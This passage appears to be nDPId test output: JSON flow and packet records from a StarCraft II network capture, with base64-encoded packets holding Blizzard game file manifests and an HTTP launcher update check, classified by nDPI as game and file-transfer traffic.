XBzCglzaXplPTYzMDk4MzEzCglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MAoJcGF0aD1iYXNlCgl0YWc9YmFzZQpmaWxlPUNhbXBhaWducy9MaWJlcnR5U3RvcnkuU0MyQ2FtcGFpZ24vQmFzZS5TQzJEYXRhCgluYW1lPUNhbXBhaWducy9MaWJlcnR5U3RvcnkuU0MyQ2FtcGFpZ24vQmFzZS5TQzJEYXRhCglzaXplPTE2MjcyMTIKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0wCglwYXRoPWJhc2UKCXRhZz1iYXNlCmZpbGU9Q2FtcGFpZ25zL1N3YXJtLlNDMkNhbXBhaWduL0Jhc2UuU0MyQXNzZXRzCgluYW1lPUNhbXBhaWducy9Td2FybS5TQzJDYW1wYWlnbi9CYXNlLlNDMkFzc2V0cwoJc2l6ZT0xMDU5MDc2NDIxCglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MAoJcGF0aD1iYXNlCgl0YWc9YmFzZQpmaWxlPUNhbXBhaWducy9Td2FybS5TQzJDYW1wYWlnbi9CYXNlLlNDMkRhdGEKCW5hbWU9Q2FtcGFpZ25zL1N3YXJtLlNDMkNhbXBhaWduL0Jhc2UuU0MyRGF0YQoJc2l6ZT0zNTE0MjMyMAoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTAKCXBhdGg9YmFzZQoJdGFnPWJhc2UKZmlsZT1DYW1wYWk="} +00863{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":62,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":6,"flow_first_seen":1437389964790,"flow_last_seen":1437389964921,"flow_tot_l4_data_len":1791,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":298,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"87.248.221.254","src_port":3508,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"4":"Binary application transfer"},"proto":"HTTP","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"http": {"hostname":"llnw.blizzard.com","url":"llnw.blizzard.com\/sc2-pod-retail\/AF11CD00\/EU\/24621.direct\/s2-36281-BA356DD57557728843CAF63A12C79AA3.mfil","code":200,"content_type":"application\/octet-stream","user_agent":"Blizzard Web Client"}} +00419{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":921047,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoFwxAAIAG68DAqAFkV\/jd\/g20AFApaAhswNDeo1AQBADUhAAA"} +02371{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":921116,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcxFlAAPUGw75X+N3+wKgBZABQDbTA0N6jKWgIbFAQEAoYMwAAZ25zL1N3YXJtLlNDMkNhbXBhaWduL0Jhc2UuU0MyTWFwcwoJbmFtZT1DYW1wYWlnbnMvU3dhcm0uU0MyQ2FtcGFpZ24vQmFzZS5TQzJNYXBzCglzaXplPTQwOTgzNDU4CglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MAoJcGF0aD1iYXNlCgl0YWc9YmFzZQpmaWxlPUNhbXBhaWducy9Td2FybVN0b3J5LlNDMkNhbXBhaWduL0Jhc2UuU0MyQXNzZXRzCgluYW1lPUNhbXBhaWducy9Td2FybVN0b3J5LlNDMkNhbXBhaWduL0Jhc2UuU0MyQXNzZXRzCglzaXplPTEwODE5MjI3MwoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTAKCXBhdGg9YmFzZQoJdGFnPWJhc2UKZmlsZT1DYW1wYWlnbnMvU3dhcm1TdG9yeS5TQzJDYW1wYWlnbi9CYXNlLlNDMkRhdGEKCW5hbWU9Q2FtcGFpZ25zL1N3YXJtU3RvcnkuU0MyQ2FtcGFpZ24vQmFzZS5TQzJEYXRhCglzaXplPTM5NzA3NTQKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0wCglwYXRoPWJhc2UKCXRhZz1iYXNlCmZpbGU9Q2FtcGFpZ25zL1N3YXJtU3RvcnlVdGlsLlNDMk1vZAoJbmFtZT1DYW1wYWlnbnMvU3dhcm1TdG9yeVV0aWwuU0MyTW9kCglzaXplPTg5MzMyOAoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTAKCXBhdGg9YmFzZQoJdGFnPWJhc2UKZmlsZT1Nb2RzL0NoYWxsZW5nZXMuU0MyTW9kCgluYW1lPU1vZHMvQ2hhbGxlbmdlcy5TQzJNb2QKCXNpemU9MjY2MTM2CglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MAoJcGF0aD1iYXNlCgl0YWc9YmFzZQpmaWxlPU1vZHMvQ29yZS5TQzJNb2QvQmFzZS5TQzJBc3NldHMKCW5hbWU9TW9kcy9Db3JlLlNDMk1vZC9CYXNlLlNDMkFzc2V0cwoJc2l6ZT0xNTU4MDI3MjMKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0wCglwYXRoPWJhc2UKCXRhZz1iYXNlCmZpbGU9TW9kcy9Db3JlLlNDMk1vZC9CYXNlLlNDMkRhdGEKCW5hbWU9TW9kcy9Db3JlLlNDMk1vZC9CYXNlLlNDMkRhdGEKCXNpemU9MTcwMjc5ODcKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0wCglwYXRoPWJhc2UKCXRhZz1iYXNlCmZpbGU9TW9kcy9MaWJlcnR5LlNDMk1vZC9CYXNlLlNDMkFzc2V0cwoJbmFtZT1Nb2RzL0xpYmVydHkuU0MyTW9kL0Jhc2UuU0MyQXNzZXRzCglzaXplPTI1OTg1Njg2NDEKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0wCglwYXRoPWJhc2UKCXRhZz1iYXNlCmZpbGU9TW9kcy9MaWJlcnR5LlNDMk1vZC9CYXNlLlNDMkRhdGEKCW5hbWU9TW9kcy9MaWJlcnR5LlNDMk1vZC9CYXNlLlNDMkRhdGEKCXNpemU9NTA1NjUwMDkKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0wCglwYXRoPWJhc2UKCXRhZz1iYXNlCmZpbGU9TW9kcy9MaWJlcnR5TXVsdGkuU0MyTW9kL0Jhc2UuU0MyRGF0YQoJbmFtZT1Nb2RzL0xpYmVydHlNdWx0aS5TQzJNb2QvQmFzZS5TQzJEYXRhCglzaXplPTMyNDgzCglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MAoJcGF0aD1iYXNlCgl0YWc9YmFzZQpmaWxlPU1vZHM="} +00420{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":921129,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoFw1AAIAG67\/AqAFkV\/jd\/g20AFApaAhswNDkV1AQBADO0AAA"} +02372{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":921309,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcxFpAAPUGw71X+N3+wKgBZABQDbTA0ORXKWgIbFAQEApHyAAAL1N3YXJtLlNDMk1vZC9CYXNlLlNDMkFzc2V0cwoJbmFtZT1Nb2RzL1N3YXJtLlNDMk1vZC9CYXNlLlNDMkFzc2V0cwoJc2l6ZT0yNDc1NTE5NDc3CglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MAoJcGF0aD1iYXNlCgl0YWc9YmFzZQpmaWxlPU1vZHMvU3dhcm0uU0MyTW9kL0Jhc2UuU0MyRGF0YQoJbmFtZT1Nb2RzL1N3YXJtLlNDMk1vZC9CYXNlLlNDMkRhdGEKCXNpemU9NjYxMTM4CglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MAoJcGF0aD1iYXNlCgl0YWc9YmFzZQpmaWxlPU1vZHMvU3dhcm1NdWx0aS5TQzJNb2QvQmFzZS5TQzJEYXRhCgluYW1lPU1vZHMvU3dhcm1NdWx0aS5TQzJNb2QvQmFzZS5TQzJEYXRhCglzaXplPTQ2MDE5CglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MAoJcGF0aD1iYXNlCgl0YWc9YmFzZQpmaWxlPUNhbXBhaWducy9MaWJlcnR5LlNDMkNhbXBhaWduL1RlZW4uU0MyQXNzZXRzCgluYW1lPUNhbXBhaWducy9MaWJlcnR5LlNDMkNhbXBhaWduL1RlZW4uU0MyQXNzZXRzCglzaXplPTE0MTAyNDg1CglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MQoJcGF0aD1iYXNlCgl0YWc9YmFzZQpmaWxlPU1vZHMvTGliZXJ0eS5TQzJNb2QvVGVlbi5TQzJBc3NldHMKCW5hbWU9TW9kcy9MaWJlcnR5LlNDMk1vZC9UZWVuLlNDMkFzc2V0cwoJc2l6ZT01ODAyNzA1CglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MQoJcGF0aD1iYXNlCgl0YWc9YmFzZQpmaWxlPU1vZHMvU3dhcm0uU0MyTW9kL1RlZW4uU0MyQXNzZXRzCgluYW1lPU1vZHMvU3dhcm0uU0MyTW9kL1RlZW4uU0MyQXNzZXRzCglzaXplPTUyNTY5NjEKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0xCglwYXRoPWJhc2UKCXRhZz1iYXNlCmZpbGU9TW9kcy9Db3JlLlNDMk1vZC9CYXNlLU9TWC5tcHEKCW5hbWU9TW9kcy9Db3JlLlNDMk1vZC9CYXNlLU9TWC5tcHEKCXNpemU9NjMxMjk0NDAKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0xOAoJcGF0aD1iYXNlCgl0YWc9T1NYCmZpbGU9TW9kcy9Db3JlLlNDMk1vZC9CYXNlLVdpbi5tcHEKCW5hbWU9TW9kcy9Db3JlLlNDMk1vZC9CYXNlLVdpbi5tcHEKCXNpemU9NDQ3ODk2MzUKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0xOAoJcGF0aD1iYXNlCgl0YWc9V2luCmZpbGU9Q2FtcGFpZ25zL0xpYmVydHkuU0MyQ2FtcGFpZ24vZW5VUy5TQzJBc3NldHMKCW5hbWU9Q2FtcGFpZ25zL0xpYmVydHkuU0MyQ2FtcGFpZ24vZW5VUy5TQzJBc3NldHMKCXNpemU9MTA0OTA5MTk2NwoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTEKCXBhdGg9YmFzZQoJdGFnPWVuVVMKZmlsZT1DYW1wYWlnbnMvTGliZXJ0eS5TQzJDYW1wYWlnbi9lblVTLlNDMkRhdGEKCW5hbWU9Q2FtcGFpZ25zL0xpYmVydHkuU0MyQ2FtcGFpZ24vZW5VUy5TQzJEYXRhCglzaXplPTI2NTc0NgoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTEKCXBhdGg9YmFzZQoJdGFnPWVuVVMKZmk="} +00420{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":921324,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoFw5AAIAG677AqAFkV\/jd\/g20AFApaAhswNDqC1AQBADJHAAA"} +02372{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":921454,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcxFtAAPUGw7xX+N3+wKgBZABQDbTA0OoLKWgIbFAQEAq8dgAAbGU9Q2FtcGFpZ25zL0xpYmVydHlTdG9yeS5TQzJDYW1wYWlnbi9lblVTLlNDMkRhdGEKCW5hbWU9Q2FtcGFpZ25zL0xpYmVydHlTdG9yeS5TQzJDYW1wYWlnbi9lblVTLlNDMkRhdGEKCXNpemU9NDEwMjM1CglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MQoJcGF0aD1iYXNlCgl0YWc9ZW5VUwpmaWxlPUNhbXBhaWducy9Td2FybS5TQzJDYW1wYWlnbi9lblVTLlNDMkFzc2V0cwoJbmFtZT1DYW1wYWlnbnMvU3dhcm0uU0MyQ2FtcGFpZ24vZW5VUy5TQzJBc3NldHMKCXNpemU9MTM0MjIwMTYwNgoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTEKCXBhdGg9YmFzZQoJdGFnPWVuVVMKZmlsZT1DYW1wYWlnbnMvU3dhcm0uU0MyQ2FtcGFpZ24vZW5VUy5TQzJEYXRhCgluYW1lPUNhbXBhaWducy9Td2FybS5TQzJDYW1wYWlnbi9lblVTLlNDMkRhdGEKCXNpemU9MTc4OTQwCglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MQoJcGF0aD1iYXNlCgl0YWc9ZW5VUwpmaWxlPUNhbXBhaWducy9Td2FybVN0b3J5LlNDMkNhbXBhaWduL2VuVVMuU0MyQXNzZXRzCgluYW1lPUNhbXBhaWducy9Td2FybVN0b3J5LlNDMkNhbXBhaWduL2VuVVMuU0MyQXNzZXRzCglzaXplPTMyOTg4MDk4OQoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTEKCXBhdGg9YmFzZQoJdGFnPWVuVVMKZmlsZT1DYW1wYWlnbnMvU3dhcm1TdG9yeS5TQzJDYW1wYWlnbi9lblVTLlNDMkRhdGEKCW5hbWU9Q2FtcGFpZ25zL1N3YXJtU3RvcnkuU0MyQ2FtcGFpZ24vZW5VUy5TQzJEYXRhCglzaXplPTQxODM2OQoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTEKCXBhdGg9YmFzZQoJdGFnPWVuVVMKZmlsZT1Nb2RzL0NvcmUuU0MyTW9kL2VuVVMuU0MyQXNzZXRzCgluYW1lPU1vZHMvQ29yZS5TQzJNb2QvZW5VUy5TQzJBc3NldHMKCXNpemU9MTM1NwoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTEKCXBhdGg9YmFzZQoJdGFnPWVuVVMKZmlsZT1Nb2RzL0NvcmUuU0MyTW9kL2VuVVMuU0MyRGF0YQoJbmFtZT1Nb2RzL0NvcmUuU0MyTW9kL2VuVVMuU0MyRGF0YQoJc2l6ZT0xMDc0NzAyCglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MQoJcGF0aD1iYXNlCgl0YWc9ZW5VUwpmaWxlPU1vZHMvTGliZXJ0eS5TQzJNb2QvZW5VUy5TQzJBc3NldHMKCW5hbWU9TW9kcy9MaWJlcnR5LlNDMk1vZC9lblVTLlNDMkFzc2V0cwoJc2l6ZT0zNTA4NjY5NzYKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0xCglwYXRoPWJhc2UKCXRhZz1lblVTCmZpbGU9TW9kcy9MaWJlcnR5LlNDMk1vZC9lblVTLlNDMkRhdGEKCW5hbWU9TW9kcy9MaWJlcnR5LlNDMk1vZC9lblVTLlNDMkRhdGEKCXNpemU9MjEwODgzCglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MQoJcGF0aD1iYXNlCgl0YWc9ZW5VUwpmaWxlPU1vZHMvTGliZXJ0eU11bHRpLlNDMk1vZC9lblVTLlNDMkRhdGEKCW5hbWU9TW9kcy9MaWJlcnR5TXVsdGkuU0MyTW9kL2VuVVMuU0MyRGE="} +00420{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":921476,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoFw9AAIAG673AqAFkV\/jd\/g20AFApaAhswNDvv1AQBADDaAAA"} +02373{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":921620,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcxFxAAPUGw7tX+N3+wKgBZABQDbTA0O+\/KWgIbFAQEAp40AAAdGEKCXNpemU9NDkwNwoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTEKCXBhdGg9YmFzZQoJdGFnPWVuVVMKZmlsZT1Nb2RzL1N3YXJtLlNDMk1vZC9lblVTLlNDMkFzc2V0cwoJbmFtZT1Nb2RzL1N3YXJtLlNDMk1vZC9lblVTLlNDMkFzc2V0cwoJc2l6ZT02NDYxMDIzCglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MQoJcGF0aD1iYXNlCgl0YWc9ZW5VUwpmaWxlPU1vZHMvU3dhcm0uU0MyTW9kL2VuVVMuU0MyRGF0YQoJbmFtZT1Nb2RzL1N3YXJtLlNDMk1vZC9lblVTLlNDMkRhdGEKCXNpemU9MTIyODk3CglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MQoJcGF0aD1iYXNlCgl0YWc9ZW5VUwpmaWxlPU1vZHMvU3dhcm1NdWx0aS5TQzJNb2QvZW5VUy5TQzJEYXRhCgluYW1lPU1vZHMvU3dhcm1NdWx0aS5TQzJNb2QvZW5VUy5TQzJEYXRhCglzaXplPTE0MDIyCglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MQoJcGF0aD1iYXNlCgl0YWc9ZW5VUwpmaWxlPUNhbXBhaWducy9MaWJlcnR5LlNDMkNhbXBhaWduL2VzTVguU0MyQXNzZXRzCgluYW1lPUNhbXBhaWducy9MaWJlcnR5LlNDMkNhbXBhaWduL2VzTVguU0MyQXNzZXRzCglzaXplPTEwMzA0OTM3NDEKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0xCglwYXRoPWJhc2UKCXRhZz1lc01YCmZpbGU9Q2FtcGFpZ25zL0xpYmVydHkuU0MyQ2FtcGFpZ24vZXNNWC5TQzJEYXRhCgluYW1lPUNhbXBhaWducy9MaWJlcnR5LlNDMkNhbXBhaWduL2VzTVguU0MyRGF0YQoJc2l6ZT00Mjg3NjAKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0xCglwYXRoPWJhc2UKCXRhZz1lc01YCmZpbGU9Q2FtcGFpZ25zL0xpYmVydHlTdG9yeS5TQzJDYW1wYWlnbi9lc01YLlNDMkRhdGEKCW5hbWU9Q2FtcGFpZ25zL0xpYmVydHlTdG9yeS5TQzJDYW1wYWlnbi9lc01YLlNDMkRhdGEKCXNpemU9NzI0NjU2CglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MQoJcGF0aD1iYXNlCgl0YWc9ZXNNWApmaWxlPUNhbXBhaWducy9Td2FybS5TQzJDYW1wYWlnbi9lc01YLlNDMkFzc2V0cwoJbmFtZT1DYW1wYWlnbnMvU3dhcm0uU0MyQ2FtcGFpZ24vZXNNWC5TQzJBc3NldHMKCXNpemU9MTMzMjkxODUzNAoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTEKCXBhdGg9YmFzZQoJdGFnPWVzTVgKZmlsZT1DYW1wYWlnbnMvU3dhcm0uU0MyQ2FtcGFpZ24vZXNNWC5TQzJEYXRhCgluYW1lPUNhbXBhaWducy9Td2FybS5TQzJDYW1wYWlnbi9lc01YLlNDMkRhdGEKCXNpemU9Mjk3NTE3CglmaWxldmVyc2lvbj0yNDYyMQoJZmxhZ3M9MQoJcGF0aD1iYXNlCgl0YWc9ZXNNWApmaWxlPUNhbXBhaWducy9Td2FybVN0b3J5LlNDMkNhbXBhaWduL2VzTVguU0MyQXNzZXRzCgluYW1lPUNhbXBhaWducy9Td2FybVN0b3J5LlNDMkNhbXBhaWduL2VzTVguU0MyQXNzZXRzCglzaXplPTI3ODg3MDEwNwoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTEKCXBhdGg9YmFzZQoJdGE="} +00420{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":921641,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoFxBAAIAG67zAqAFkV\/jd\/g20AFApaAhswND1c1AQBAC9tAAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":234,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1437389967432,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"12.129.222.54","src_port":3512,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389967,"pkt_ts_usec":432431,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0U2dAAIAG+pjAqAFkDIHeNg24AFDXJA2NAAAAAIACIACvkgAAAgQFtAEDAwgBAQQC"} +00434{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389967,"pkt_ts_usec":630455,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0AABAAC0GoQAMgd42wKgBZABQDbj6JMXG1yQNjoASFtD4xgAAAgQFtAEBBAIBAwMH"} +00418{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389967,"pkt_ts_usec":630517,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoU2hAAIAG+qPAqAFkDIHeNg24AFDXJA2O+iTFx1AQAQBPaQAA"} +00538{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389967,"pkt_ts_usec":639692,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"hCYVPnXEIImEa8W6CABFAAB9U2lAAIAG+k3AqAFkDIHeNg24AFDXJA2O+iTFx1AYAQD\/UgAAR0VUIC91cGRhdGUvTGF1bmNoZXIudHh0IEhUVFAvMS4xDQpIb3N0OiB1cy5zY2FuLndvcmxkb2Z3YXJjcmFmdC5jb20NCkFjY2VwdDogKi8qDQoNCg=="} +00687{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":237,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1437389967432,"flow_last_seen":1437389967639,"flow_tot_l4_data_len":189,"flow_min_l4_data_len":20,"flow_max_l4_data_len":105,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"12.129.222.54","src_port":3512,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.WorldOfWarcraft","breed":"Fun","category":"Game"},"http": {"hostname":"us.scan.worldofwarcraft.com","url":"us.scan.worldofwarcraft.com\/update\/Launcher.txt","code":0,"content_type":"","user_agent":""}} +00426{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389967,"pkt_ts_usec":833673,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoibdAAC0GF1UMgd42wKgBZABQDbj6JMXH1yQN41AQAC5P5gAAAAAAAAAA"} +00785{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389967,"pkt_ts_usec":834099,"pkt_caplen":327,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":327,"pkt_l4_len":293,"pkt":"IImEa8W6hCYVPnXECABFAAE5ibhAAC0GFkMMgd42wKgBZABQDbj6JMXH1yQN41AYAC6X5gAASFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjI3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjMgKENlbnRPUykNCkxhc3QtTW9kaWZpZWQ6IE1vbiwgMjUgQXVnIDIwMTQgMTg6MTk6MjcgR01UDQpFVGFnOiAiNmUyMDMzLTI3LTUwMTc4M2EyOGE5YzAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1MZW5ndGg6IDM5DQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4NCg0KU2Nhbg0KMi4yLjg0Ljc3DQpTY2FuV2luNjQNCjIuMi44NC43Nw0K"} +00418{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389967,"pkt_ts_usec":834235,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoU2pAAIAG+qHAqAFkDIHeNg24AFDXJA3j+iTG2FARAP9OAwAA"} +00425{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":27078,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoiblAAC0GF1MMgd42wKgBZABQDbj6JMbY1yQN5FARAC5O0wAAAAAAAAAA"} +00417{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":27107,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoU2tAAIAG+qDAqAFkDIHeNg24AFDXJA3k+iTG2VAQAP9OAgAA"} 